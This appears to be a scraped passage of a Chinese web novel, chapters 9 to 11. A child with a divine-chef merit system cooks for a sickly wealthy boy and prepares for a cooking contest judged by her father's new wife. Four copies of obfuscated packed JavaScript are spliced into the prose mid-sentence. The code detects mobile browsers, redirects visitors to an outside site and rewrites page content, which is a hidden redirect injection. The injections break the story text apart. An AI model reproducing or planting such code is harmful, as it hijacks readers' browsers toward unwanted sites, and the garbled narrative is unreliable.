谢家的别墅在半山腰,进门之后,外面的喧嚣像被关在大门外。路灯昏暗,树修剪得整整齐齐,草坪平得像被熨过,喷泉水声细细的,连风都像被管着。 宋如淼趴在车窗边,皱了皱眉——这里太干净了,干净得没有味道。 车停在楼前,门廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104275|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯自动亮起。管家迎出来,态度客气:“宋女士,这边请。食材都备好了。” 谢夫人也在。她眼眶泛红,像是刚哭过:“辛苦你们。” 宋听雅有些局促,连连摆手:“不辛苦,我做得快。” 谢家的厨房大得离谱,台面光可鉴人,刀具按大小排成一列,连砧板都像没被用过。宋听雅站在门口顿了一下,才洗手、系好围裙,起锅烧水。 宋如淼搬了个小凳子站在旁边,像个乖巧的小尾巴。她的小手却悄悄搭在冰凉的大理石台面上,指尖轻轻一蜷。 ——稳火,起。 那一瞬,灶火的声音都变得顺了些。水很快滚开,滚得干净、匀称。宋听雅包馄饨时手更稳,捏口捏得紧,怕下锅一煮就散。 她照店里的做法做清汤:骨汤吊底,点一点点猪油,撒葱花,丢两片紫菜。还特意把盐放得更轻——病人吃不得重口。 馄饨下锅,浮起来那一刻,厨房里终于有了“饭”的味道。那股葱花和猪油混出来的香,顺着走廊往楼上钻,像有人把这栋冷冰冰的房子,悄悄点热了一角。 管家端着托盘上楼。宋如淼也跟着,小步小步地走,鞋底踩在厚地毯上几乎没声。 楼上卧室里,谢晚酌靠在床头,脸色苍白,唇色淡得几乎看不见。桌上摆着营养粥,他看一眼就皱眉。 门被轻轻推开,白雾先跑了进来。 宋如淼探出半个脑袋,小声说:“刚出锅的。” 谢晚酌睫毛颤了颤,慢慢睁开眼。 托盘放下,小桌板架好。那碗鲜肉小馄饨被端到他面前,汤清亮,葱花浮着,热气安安稳稳往上冒。 他拿起勺子,手还有些无力,微微发抖。 宋如淼下意识往前走了一步,又停住,只用眼睛盯着他——像在盯一场考试。 谢晚酌舀了一口汤,送入口中。 热意滑进胃里,他眉心松了一瞬,像紧绷了两天的东西终于松开。他又咬了一口馄饨,皮薄,肉馅热,胡椒的暖意很轻,不呛,只是把整口味道托起来。 一口、两口、三口。 他吃得不快,却没有停。 谢夫人站在门口,眼眶一寸寸红起来。那个连水都喝不下的孩子,此刻竟低着头一口接一口,像终于肯给自己一点力气。 没一会儿,一碗就吃光了。连汤底也喝得干干净净。 谢晚酌放下勺子,脸上终于浮出一点点血色。他轻轻呼了口气,像把胸口那团闷也呼出去了一点。 谢夫人声音发颤:“晚酌……还想吃么?妈妈让厨房再——” “不用了。”谢晚酌打断她,嗓音哑,却比平时更清晰。 他抬起眼,目光越过母亲,落在床尾那个因为他吃光了饭而偷偷弯起眼睛的小姑娘身上,又落到门口那位仍有些局促却一直关切着的女人身上。 他像是想了很久,才把话说出来: “我想以后每一天,都吃她们做的饭。” 9.你是唯一的例外 谢晚酌的声音还带着病后的微哑,说完那句“我想每天都吃她们做的饭”后,便不再多言,只是安静地靠在床头,目光定定地落在宋如淼身上。 那眼神不像是在看一个刚认识的小孩,倒像是在看某种能让他安心的味道,透着股说不出的依赖。 谢夫人的目光在儿子和宋家母女之间转了转,最终落在宋听雅脸上,语气诚恳:“淼淼妈妈,晚酌这孩子从小胃口就挑。米其林主厨请过,国宴大师也试过,他总吃不了几口。今天这碗馄饨……是他这几年吃得最干净的一回。” 她顿了顿,眼神切切:“我也不是要你们住家做饭,要不就晚饭这一顿?薪资方面,我按五星级主厨的时薪给。” 卧室里安静了几秒。 宋听雅第一反应是想拒绝。她们好不容易有了自己的小店,那是她一点点擦洗出来的“地盘”。而且,她对这样的豪门,有着本能的抗拒和阴影。 可还没开口,衣角就被一只小手轻轻拽了拽。 “妈妈,我想答应。” 宋如淼仰着小脸,声音脆生生的:“我可以每天放学后来给晚酌哥哥做饭!妈妈要照看店里,我自己可以过来,我都七岁了。” “淼淼……”宋听雅秀眉微蹙,眼里满是担忧。 “淼淼妈妈,你有什么顾虑,就直接跟我们说,看看我们是不是能帮上忙?”谢夫人没再绕弯子,一眼看穿了她是有顾虑的。 宋听雅指尖颤了颤,垂下眼帘,低声吐露了傅庭深之前的所作所为。坐在一旁的谢先生听完,气得一拍扶手:“简直荒唐!天下竟有这样的亲生父亲?!” “你放心。”谢夫人握住宋听雅的手,声音温和却极有力量,“既然你有顾虑,那这样——以后就让淼淼和晚酌上同一所私立小学,费用我们来出。每天司机接送他们一起。只要淼淼在我们眼皮子底下,谁也别想动她一根头发。傅庭深要有异议,让他直接来找我们谢家!” 宋听雅听到‘同校’两个字,肩膀明显松了一点。 “妈妈,”宋如淼趁机踮起脚,凑到宋听雅耳边撒娇,“谢阿姨家的厨房好大哦,还有好多我都没见过的食材!我想试试……用更好的东西做饭,肯定更好吃,你就答应吧。” “你就放心吧,淼淼在做饭时厨师和阿姨都会在的,厨房里刀具收纳,有危险的地方都让阿姨上手,行不行?”谢夫人又承诺道。 宋听雅又看了看女儿亮晶晶的眼睛,终于松了口:“好……那就麻烦你们了。” 宋如淼在心里悄悄给自己比了个耶。 除了想尝试顶级食材,她更想搞清楚一件事:为什么谢晚酌吃光了她的馄饨,功德竟然一点没涨。 作为天宫厨神的小弟子,她的职业尊严受到了前所未有的挑战。这个“BUG”,她非修好不可! 谢家办事的速度,比宋听雅预想的还要快。 不到三天,所有的转学手续就办妥了。云城顶尖的私立小学,原本是千金难进,可谢先生一个电话,宋如淼就背着崭新的小书包和谢晚酌上了同一所。 宋听雅送女儿上学那天,看着谢家的车如约而至,看着谢晚酌主动拉开身侧的车门,那一刻,她压在心头几年的大石头,终于彻底落了地。 下午四点半,放学铃声准时响起。 校门口熙熙攘攘,宋如淼像只轻盈的小蝴蝶,扑棱扑棱地钻进后座。 谢晚酌已经坐在那儿了,膝盖上依旧摊着那本厚厚的英文原著。听到动静,他眼皮都没抬,身子却像形成了条件反射,默不作声地往车窗那边挪了挪,空出了一大半宽敞又暖和的位置。 “给。”他合上书,指尖还带着书页的凉气,顺手递过来一个小纸袋。 宋如淼接过来一摸,眼睛亮了:“温的?” 袋子里是司机特意去城南老字号排队买的板栗,每一颗都开口笑了,露出金灿灿、软糯糯的瓤。 “路过买的。”谢晚酌淡淡说了一句。 开车的司机老陈忍不住通过后视镜看了一眼自家小少爷:这板栗店在城南,跟学校回家的路南辕北辙,还是他在寒风里排了二十分钟才买到的。 宋如淼剥开一颗,塞进嘴里,甜得眼睛都弯成了月牙:“晚酌哥哥,你也吃。” 她不由分说,捏起一颗塞进谢晚酌手里。 谢晚酌看着掌心里那颗圆滚滚的栗子,没有拒绝。 到了谢家,宋如淼熟练地换上谢夫人特意准备的小厨师服。 胸口那朵绣上去的云朵和“淼淼”二字,在厨房的灯光下显得格外俏皮。 她开始在谢家“炫技”。蹬蹬蹬爬上特制的小梯凳,拿刀的架势一摆,那股“厨神传人”的气场瞬间全开。 这几天,谢家的厨房简直成了“香气最浓郁”的地方。 宋如淼在谢家尝试了许多在自家小店里没机会碰的顶级食材。 她用深海龙虾肉在热油里迅速锁住鲜甜,弹牙到了极致;她用顶级官燕配上熬得浓稠的鸽子汤,清润滋补。 “叮,功德+2。”(谢夫人喝完汤,觉得多年的偏头痛都舒缓了) “叮,功德+5。”(谢先生处理了一天公事,吃完那碗特制的鲍鱼捞饭,感觉疲惫一扫而空) “叮,功德+1。”(连谢家的胖猫都因为蹭到了半口边角料,满足地打了个滚) 功德声叮叮当当,像是在宋如淼脑子里下了一场金币雨。 可唯独谢晚酌那里——依旧是那台坏掉的收音机,连个杂音都没有。 这天傍晚,宋如淼做了龙井虾仁。 为了这道菜,她天没亮就起床,亲手剥了半晌的活河虾,指尖被冰水泡得又白又胀。成菜后,虾仁玉白如珍珠,茶叶翠绿如碧玉,鲜灵得像把西湖的春天装进了盘子里。 谢晚酌吃得很安静,甚至把盘底垫着、用来解腻的黄瓜片都吃得干干净净。 宋如淼屏住呼吸,在心里默数:三、二、一…… 安静。 死一样的寂静。 她满心的期待“啪嗒”一声摔碎了。那股从指尖泛起的酸麻和委屈,一瞬间涌上鼻尖。 “今天我先回家了。” 她闷着声,低头去解围裙。可越急越乱,围裙带子在身后勒成了个死结,死死地勒在腰间。 气死了!连围裙都欺负她! 宋如淼鼻尖一酸,眼圈控制不住地红了,豆大的眼泪在眼眶里打转。 身后传来很轻的脚步声。 谢晚酌站到她身后,一股淡淡的、带着点冷冽清香的气息包围了她。 他的指节很凉,动作却轻柔利落。他没有去扯那个死结,而是用修长的手指一点点挑开,结扣“啪”地松开了。 宋如淼回过身,仰着小脸,倔强地抹了一把眼睛:“……我自己能行。” “嗯。” 谢晚酌没拆穿她,只是细心地把围裙折叠整齐,递回她手里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108946|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他看着女孩发红的眼眶,沉默了很久,声音低得像是在哄一个易碎的瓷器:“你是不是……不想来了?” “不是!”她大声反驳,随后又像泄了气的皮球。 谢晚酌眼睫微垂,在灯光下投下一小片阴影,语气里透着股不易察觉的卑微:“如果你嫌麻烦,我可以去店里。” 宋如淼心里的小人儿在疯狂捶地:他以为我嫌他!我嫌的是他不给功德啊! 可这话,她怎么可能说得出口。 见她紧抿着唇不说话,谢晚酌没再追问,而是转过身,从书包里拿出一个浅金色的信封。 “云城青少年烹饪大赛。”谢晚酌将信封递给她,“谢氏赞助的,年龄刚好合适。” 宋如淼翻开信封,看到奖品那一栏时,整个人都呆住了: 【特等奖:国宴宗师陈老的亲笔手记残卷】。 “陈大师的手记?!”她的眼睛里瞬间点起了火。 “我觉得你会喜欢。”谢晚酌嘴角扬起一个极小的弧度,眼底漾开一丝笑意,“你做饭的时候,眼睛里有光。我不希望那道光因为任何原因暗下去。” 哪怕是因为我。 宋如淼捏着沉甸甸的邀请函,感觉一股热流从指尖直冲心口。虽然系统的“叮”没响,但她心里好像有什么东西,比系统响了还要让她震颤。 “我会参加的!还要拿个冠军给你看!”她挺起小胸脯。 谢晚酌点点头,眼神专注:“我相信你。” 走的时候,宋如淼背着书包,站在玄关认真地向他“宣战”: “晚酌哥哥,我会继续来给你做饭的。直到你……直到你吃腻为止!” 谢晚酌怔在原地,看着那抹风风火火跑出去的元气背影,耳尖在夜色里悄悄红透了。 他轻声道:“不会腻的。” 回到家时,夜色已深。 推开门,屋里亮着一盏昏黄的暖灯。宋听雅斜倚在沙发上,手里还攥着记账本,已经沉沉睡去。茶几上放着一碗放凉了的面,那是给淼淼留的。 看着妈妈眼下的青黑,宋如淼心里一阵发酸。 小店生意越来越好,可妈妈也越来越累。 她把那张烫金邀请函放下,轻轻推醒宋听雅:“妈妈,去床上睡。” 宋听雅迷糊睁眼:“淼淼回来了?饿不饿?妈妈去热汤……” “我不饿。”宋如淼按住她,指着账本认真道,“妈妈,咱们得请人了。现在那个小时工只来三个小时不够,晚上的时候你们根本支应不开。” “请人又要多一份开销……”宋听雅下意识心疼钱。 “妈,这账不能这么算。”宋如淼拿过笔,在账本上点划,“我在谢家看了,效率就是钱。如果你把洗碗、备菜的这些时间省下来专心炒菜,每晚能多卖二十份。还能让你有时间练练我教你的新菜。” 宋听雅怔怔地看着女儿。 七岁的小不点,条理清晰,眼里写满了对她的心疼。 宋听雅觉得眼眶热热的,她用力点了点头:“好,妈妈听你的。明天我们就贴招聘启事。” 宋如淼笑了,扑进妈妈怀里蹭了蹭:“妈妈,我们一定会越来越好的。” 窗外月色如水,静静流淌。 虽然“功德BUG”还没修好,虽然渣爹的阴影或许还在暗处,但此时此刻,抱在一起的母女俩,心里都是滚烫的。 这场翻盘局,她们赢定了。 10.你是我的天官 自从收到了那张金灿灿的大赛邀请函,宋如淼整个人就像被拨快了发条。 谢家的私人厨房成了她的特训场。谢夫人特意让人搜罗了各种顶尖的食材,连切菜用的砧板,都换成了极其讲究的银杏木——木纹细密,刀落上去,声音都更“脆”。 但这几天,宋如淼的情绪明显有点不对劲。 她正对着一块嫩豆腐较劲。 那是淮扬菜里最考功力的“文思豆腐”。要把一块软塌塌的豆腐,在水里横切、竖切,最后每一根豆腐丝都要细如发丝。练这一招,寻常人得三五年,可宋如淼只有七天。 “笃、笃、笃、笃……” 细密的刀声在空旷的厨房里回荡。宋如淼站在小梯凳上,腰杆挺得笔直。她屏气凝神,指尖溢出一抹微不可察的灵气,稳稳将那块豆腐“定”在原地。 一旁的谢家主厨,眼睛越瞪越大。 他见过不少名厨,也见过少年天才,可像这种七岁就把刀使得这般利落、还不带半点浮躁的——他甚至下意识屏住了呼吸,生怕自己一出声就把这手感吓跑。 “这……这手速,没有十年的功力绝对下不来。”他喃喃自语,越看越像看见了什么不讲道理的事。 谢晚酌今天也没怎么看书。 书摊在桌上,他却没翻页,只坐在不远处的餐桌旁,支着下巴,目光一寸不落地跟着那个小小的身影。 他发现宋如淼今天很“凶”。 每切完一盘豆腐,她都会气呼呼地盯他一眼,那眼神活像他欠了她几百万两黄金,还是那种利滚利、永远还不清的债。 一声很轻的回响在她识海里响了下。 “功德+1。”(来自路过的洗碗阿姨——因为她学会了一招刀工。) 宋如淼:“……” (内心咆哮:阿姨都给了!谢晚酌你个铁公鸡!) 她不信邪,非要把这块“顽石”喂出声不可。 …… 一小时后,一碗“文思豆腐羹”端到了谢晚酌面前。 清澈见底的高汤里,数千根豆腐丝像在水底盛开的白菊,随着汤汁微颤。每一根都细得能穿针,却又在“稳火”的控制下,没有一根煮断。 “尝尝。”宋如淼盯着他,琥珀色的眼睛里燃着一股执念。 谢晚酌拿起白瓷勺,舀了一勺。豆腐丝几乎不需要咀嚼,那种清鲜顺着喉咙滑下去,像一阵很轻的暖意,贴着他空荡荡的胃壁绕了一圈。 他没说话,只是低头又舀了一勺。 很快,整碗汤见了底。 宋如淼屏住呼吸,神识全开,像守在功德簿前等天道落笔。 十秒,三十秒,一分钟…… 脑子里一片死寂。 “谢晚酌!”宋如淼终于忍不住了,“啪”地一下把抹布拍在台面上,气鼓鼓地走过去,“你这人是不是没有味觉呀?还是我做得不好吃?” 谢晚酌愣住,勺子还捏在手里:“很好吃。” “好吃你为什么不——”宋如淼话到嘴边生生咽回去。总不能问“你为什么不给我功德”吧? 她气得鼻尖都冒了点汗,正要转身,却突然发现谢晚酌的脸色白得像纸一样,唇色淡得几乎透明。 ……难道这人的病没好全? 想到这,宋如淼也顾不得嫌弃了,往前迈了一大步,踮起脚尖,温热的小手直接贴上谢晚酌的额头。 “你是哪里不舒服吗?”她语气焦急,掌心贴着他的皮肤,本来只是想探探温。 可贴上的那一刻——凉,很凉。 就在两人的皮肤紧紧相贴的一瞬—— “嗡——!” 那声音不是平时那种轻飘飘的“叮”,而是像古刹里的晨钟,带着金石之音,震得她神识都在发颤。 一段极其虚幻的文字,在她识海中缓缓浮现: 【极寒渊境,功德入渊,积蓄中。】 【当前积蓄进度:万分之十二……万分之十五。渊满至百,万象回赠。】 宋如淼的手还贴在他额头上,整个人却像被雷劈了一样。 她眼睛越瞪越大,最后简直冒出了绿光。 原来如此! 原来谢晚酌不是不给她功德——他是把功德都“存”起来了! 寻常人吃你一顿饭,功德就像小铜钱,叮当一声落进簿子里:来得快,也散得快。 可谢晚酌不一样。 他像一口封着盖的深井,你送进去的每一丝热、每一口汤,都被他悄无声息吞下去,沉到井底攒着。 等哪天井满溢出来——怕是能直接把她送回天宫。 “淼淼?”谢晚酌轻声唤她。 他垂着眼睫,看着近在咫尺的小姑娘。她的手很暖,像一团火贴在他冰冷的额头上。他下意识往她掌心那边偏了半寸,又立刻停住,像怕被她发现自己贪这点温度。 他看着宋如淼的表情从担忧变成愤怒,又从愤怒变成错愕,再变成一种……掩饰不住的喜悦? 宋如淼猛地收回手,看着谢晚酌,那眼神已经不是在看一个病弱少年了——而是在看一座会生利息的福田! “晚酌哥哥。”宋如淼突然露出一个极其灿烂、甚至有点谄媚的笑容,一把抓住谢晚酌的袖子,声音甜得发腻,“你以后想吃什么?尽管跟我说!不管多难做的菜,我都给你做!一直给你做!” 谢晚酌:“……?” 他跟不上这个小脑瓜的转速,却能清楚感觉到:她看他的眼神变了。 从前像看一块不出声的石头;此刻亮得过分,像怕他长腿跑了似的。 “你不是……不想来了吗?”他轻声问,想起她刚才解围裙时那副决绝样子。 “哪能啊!”宋如淼把小胸脯拍得啪啪响,“我是那种半途而废的人吗?你身体这么虚,我肯定要负责到底呀!” (内心OS:这可是我的飞升大礼包!谁跟我抢我跟谁急!) 谢晚酌看着她元气满满的样子,眼底那一抹终年不散的阴郁,不知不觉散了一半。 “好。”他嘴角极轻地挑了一下,“那我等着。” …… 既然知道了谢晚酌是“功德储蓄罐”,宋如淼的练功劲头更足了。 她不仅仅是准备比赛,她是在往他那片福田里,一点一点加柴添火。 傍晚回到店里,天已经擦黑。 店门一开,锅气就扑面而来。后厨的水槽里堆着碗,宋听雅一边抹台面一边招呼客人,肩背却比以前更绷紧了——忙的时候连喘口气都得掐着秒。 宋如淼把书包往凳子上一放,绕到后厨,先看了一眼妈妈的手:指节发红,掌心起了薄茧,还有一道新磨出来的小口子。 她心里一沉。 “妈,咱们招聘启事贴出去两天了,有人来应聘吗?”她压低声音问。 宋听雅抹着灶台,闻言直起身子,叹了口气:“有几个。不是嫌咱们店小,就是嫌晚上太忙,干不了两天就走。你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113394|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,妈妈也不敢随便找人。” 话音刚落,门口走进来一个中年妇女。她站在门边不太敢进,手指在衣角上搓了搓,眼神局促却干净。 “请问……这里还招帮工吗?”她小声问,“我什么都能干,洗碗、切菜、搞卫生都行,工资……您按规矩给就行。” 宋听雅下意识看向宋如淼,眼里有点犹豫。 宋如淼却先开口:“阿姨您怎么称呼?以前做过餐饮吗?” “我叫李芬。”她赶紧答,“在我们那边给人家帮过厨,来云城不久。姐姐在别墅区做住家保姆,看到你们招工,就让我来碰碰运气。” 宋如淼点点头,没急着“录用”,反倒把围裙递过去:“那你先帮忙把那一盆碗洗了。洗完我妈看看手脚利不利索。咱们先试工三天,行不行?” 李芬连忙点头:“行行行!我一定好好干。” 她卷起袖子,动作很利落,先把油碗分出来泡着,手里刷子起落干脆,水声哗哗的,没多久盆里就见了底。她还顺手把灶台边的水渍抹干净,抹布拧得不滴一滴水。 宋听雅看得眼皮一跳——这是真干过活的人。 宋如淼这才笑了:“那行。妈,你要是觉得合适就把人留下来。你就专心练我教你的那道‘锦绣浇头’,别再一个人硬扛。” 宋听雅张了张嘴,想说“小时工也行”,可看着女儿那双认真又心疼的眼睛,到底还是把话咽回去,只点了点头:“……好,听你的。” 宋如淼这才松了口气,转回正题:“妈,大赛我还得练自选菜。我想做一道‘家常’却不平常的面。” “面?”宋听雅皱眉,“决赛的主题还没出,万一题目很难呢?” “主题不重要。”宋如淼眼里闪着笃定的光,“重要的是——这碗面能不能让人‘活’过来。” 她开始尝试在大锅汤底里加入一小勺自制的“炒米粉”。 这是她前世在天宫膳房时,看老厨神用过的法子。糯米慢火炒到金黄酥香,碾成碎末,在汤滚的一瞬间撒入。 那是“点睛之笔”。 它能让浓厚的汤底瞬间多出一股质朴的粮食气,那种气,最能勾起人骨子里的求生欲和温暖感。 特训的最后一天,宋如淼把这种“暖心汤底”带到了谢家。 当那一碗冒着香气的细面端上桌时,整个谢家别墅的佣人们都停下了手里的活,下意识地吸了吸鼻子。 那味道不张扬,不像顶级珍馐那样一上来就压人。 它更像冬天的炉火,像回家时门缝里漏出来的一点热——你不想承认自己被打动,可胃先替你投了降。 谢晚酌吃了第一口,瞳孔就微微缩了一下。 他感觉自己那副常年像废墟一样的身体,被这温和的米香一点点修补着,塌掉的地方像被人悄悄垫了一起来。 神识里,那道宏大的提示音再次响起: 【积蓄进度:2.0%……2.5%……】 宋如淼握紧小拳头,心里乐开了花:存吧,存吧!攒得越深,以后飞升得越稳! “晚酌哥哥。”她笑眯眯地看着他,“明天我比赛,你一定要来哦。” 谢晚酌放下筷子,拿纸巾优雅地擦了擦嘴角,看着她,眼神是前所未有的认真。 “我会去。”他顿了顿,补了一句,“我会看着你拿冠军。” 窗外,云城的冬夜繁星点点。 宋如淼背着小书包回家,脚步轻快得像在飞。 11.顶级火腿与苹果的“联姻” 自从谢晚酌说要去现场看她比赛后,宋如淼心里那本小账翻得更勤了——连系围裙的结都打得更紧、更端正。她要让他亲眼看见自己怎么赢,还要把那口“深井”喂得更多一点。 她踩在谢家特制的小梯凳上,眉头紧锁地盯着那锅已经熬了三个小时的高汤——这是为决赛“自选菜”准备的灵魂底汤。 汤色已经转浓,泛着奶白,香气也沉了下来。 可宋如淼舀起一勺,吹凉了尝了尝,小嘴立刻撇了下去。 “不对。还是不对。”她放下勺子,语气懊恼,“只有鲜,没有魂,还是缺了点……” 一直默默站在旁边的谢晚酌走了过来,视线扫过锅里:“缺什么?” “缺时间的味道。”宋如淼转过头,琥珀色的眼睛在灯光下显得格外认真,“我需要陈年金华火腿的‘上方’,必须是三年以上自然发酵的老腿,取最中间那块精肉。现在的汤底太飘了,压不住面的劲道。” 她叹了口气,小肩膀垮了下来:“可是我让妈妈去市场问过了,能买到的要么年份不够,要么是拼接腌制的,味道不纯正,根本不行。” 谢晚酌看着她皱成包子的小脸,没说话。 他只是转身走到窗边,拨通了一个电话。 他的声音压得很低,宋如淼竖起耳朵也只听到几个零星的词:“……嗯,要最好的……明早送到。” 挂断电话,他走回她身边,语气平淡得像在说明天早餐吃什么:“先按现在的步骤练习。你想要的火腿,明天上午到。” 宋如淼愣了一下,随即眼睛噌地亮了,像两盏小灯泡:“真的?空运吗?晚酌哥哥你也太厉害了!” 谢晚酌看着她兴奋的样子,眼底闪过一丝极淡的笑意,面上却依旧矜持:“嗯,顺手的事。” 晚上,出租屋。 屋内灯光昏黄。宋听雅和宋如淼挤在小沙发上,翻看大赛组委会刚寄到的最终版手册。 “淼淼,你看这个……”宋听雅的手指忽然僵住,停在手册的评委介绍页上,脸色唰地一下白了。 宋如淼凑过去。 那是评委名单。前四位都是业内泰斗,而最后一位—— 【特邀嘉宾评委:唐安意。云城电视台美食频道总监,傅氏餐饮集团顾问。】 “她……她怎么会是评委……”宋听雅的声音在发抖,指尖用力到把纸张攥出了褶皱。 她带着淼淼东躲西藏,就是为了避开这群人。可如今,唐安意不仅风光无限地成了傅太太,还手握评审大权,正坐在高台上等着给她的女儿“打分”。 这哪里是打分?这分明是悬在头顶的刀。 “妈妈?”宋如淼伸出小手,用力握住妈妈冰凉的手指。 那温热的触感,把宋听雅从冰冷的恐惧里拽了回来。她低下头,看到女儿正仰着脸,那双琥珀色的眼睛里没有一丝惊慌,反而透着一股超乎年龄的冷静。 “妈妈,别怕。”宋如淼的声音糯糯的,却字字清晰,“她现在是傅太太,是评委,有那么多镜头盯着,有那么多人看着。她越是想针对我,就越不敢明目张胆地乱来。” “可是……”宋听雅还是心慌,“欲加之罪,何患无辞。她如果说你的菜不好吃,谁敢反驳?” 宋如淼忽然笑了,她凑过去,“吧唧”亲了妈妈一口。 “那就做得让她没法挑刺。”宋如淼眼底闪过一丝属于厨神的傲气,“我会让我的菜说话。她要是敢闭眼说瞎话,那是她丢人,不是我。” 她顿了顿,又软软地撒娇:“而且,晚酌哥哥他们明天也会去哦。有他们在,没人敢欺负我的。” 宋听雅紧绷的肩膀稍稍松了松,她把女儿紧紧搂进怀里:“妈妈不会让任何人欺负你。” 第二天一早,宋如淼刚进谢家厨房,就被眼前的阵仗惊呆了。 管家正指挥着两个人,小心翼翼地拆开几个沉甸甸的保温箱。 箱盖一掀开,一股浓郁醇厚、带着微微木质香气的陈年咸香,瞬间霸道地占领了整个厨房。 那是时间的味道。 整整五条金华火腿,外皮呈深褐色的油亮光泽,上面贴着黑金色的标签:【特选上方·五年陈·顶级】。 旁边还摆着几个小盒子:还带着泥土气息的野生松茸、嫩得掐出水的冬笋尖,甚至还有一小盒极其昂贵的黑松露。 宋如淼忍不住凑近那条火腿,深深吸了一口气,陶醉得小脸都红了:“这味道……起码得是在恒温窖里,挂在向阳那一面足足晒够了日子的!极品啊!” 她转过头,看着坐在一旁看书的谢晚酌,声音都激动得发颤:“晚酌哥哥,这也太贵重了!” 谢晚酌翻过一页书,连眼皮都没抬,语气淡淡:“工欲善其事,必先利其器。这些只是耗材,不够随时给你补上。” “耗材……”宋如淼嘴角抽了抽。前世在天宫,最好的食材也要靠功德换,这一世倒是直接抱上了‘移动金库’的大腿。她甚至在想,若是把谢晚酌这尊大佛伺候好了,以后是不是连飞升的雷劫都能用金条给填平了? 她不再废话,立刻开工。 有了顶级火腿加持,高汤的醇厚度瞬间上来了。 可是,新的问题出现了。 半小时后,宋如淼尝了一口汤,眉头反而皱得更紧了。 “怎么了?”谢晚酌敏锐地察觉到了她的情绪。 “太‘厚’了。”宋如淼喃喃自语,“五年陈的腿,咸鲜味太霸道,压住了笋的清灵。喝第一口是惊艳,喝到第三口就会腻。这样的汤,做不出让人‘活’过来的感觉。” 谢晚酌放下书,走过来:“那怎么办?换淡一点的?” “不用换。” 宋如淼的目光在厨房里飞快地扫了一圈,最后落在那一篮红彤彤的苹果上。 她眼睛一亮,哒哒哒跑过去,挑了个最红的苹果,洗净,连皮切成大块。 “扑通。” 几块苹果被丢进了那锅浓郁的咸鲜高汤里。 谢家的厨师正好路过,看得眼皮一跳,——这可是顶级高汤,扔苹果进去不是瞎搞吗?! 宋如淼却淡定得很。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118177|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用小火慢慢煨着,苹果里的天然果酸和清甜,在热力下丝丝缕缕地渗出来,像一双温柔的手,悄悄化解了老火腿那股咄咄逼人的咸腻。 二十分钟后,苹果软烂捞出。 宋如淼盛出一小碗,汤色金黄清透,不再浑浊。 “尝尝?”她递给谢晚酌。 谢晚酌接过,抿了一口。 入口先是火腿的醇香,紧接着是一股极淡极淡的果香回甘,油腻感荡然无存,只觉得喉咙被润得无比舒服。 站在一旁的厨师也忍不住凑过来抿了一小口,随即老脸通红,对着宋如淼很是叹服:“苹果入老汤……小祖宗,你这是化腐朽为神奇呐。这法子我只在电视里见过只言片语,没想到今天竟在一个孩子手里见到了真章,真是不服不行!” 谢晚酌原本冷淡的眉眼,肉眼可见地舒展开来。 【渊境回响:积蓄进度 3.8%……4.0%!】 宋如淼听着脑海里那声清脆的上涨音,嘴角疯狂上扬。 “成了!”她握拳。 就在她准备把汤封存好时,眼角余光忽然瞥见谢晚酌刚才看的书——是一本《云城青少年烹饪大赛历届优秀作品集》。 书页摊开的那一面,赫然是傅庭深和唐安意的照片。 宋如淼愣住了。 谢晚酌察觉到她的视线,并没有遮掩,反而坦然地合上书:“你看到了吧?” “嗯。”宋如淼点头,“她是评委。” “唐安意不仅是评委,她还是傅庭深现在的太太——是那个顶替了宋阿姨位置的人。”谢晚酌的声音很平静,却透着一股让人安心的冷冽,“她很大概率会针对你。” 他看向宋如淼,眼神专注:“怕吗?” “不怕。”宋如淼挺起小胸脯,指了指那锅汤,“我的汤会说话。而且……” 她看着谢晚酌,忽然笑了,眉眼弯弯:“而且我有你呀。你不是说了吗,你会看着我拿冠军。” 谢晚酌怔了怔。 片刻后,他嘴角轻轻勾起一个弧度,伸手在她的发顶轻轻揉了一下—— 谢晚酌的手指微微一顿,掌心触到小姑娘柔软的发顶,那股暖意顺着指尖一直钻进他的心口,让他原本有些荒芜的识海竟然荡起了一圈极细微的涟漪。这种感觉很陌生,却并不讨厌,像是冰封已久的荒原上,突然开出了一朵颤巍巍的小黄花。 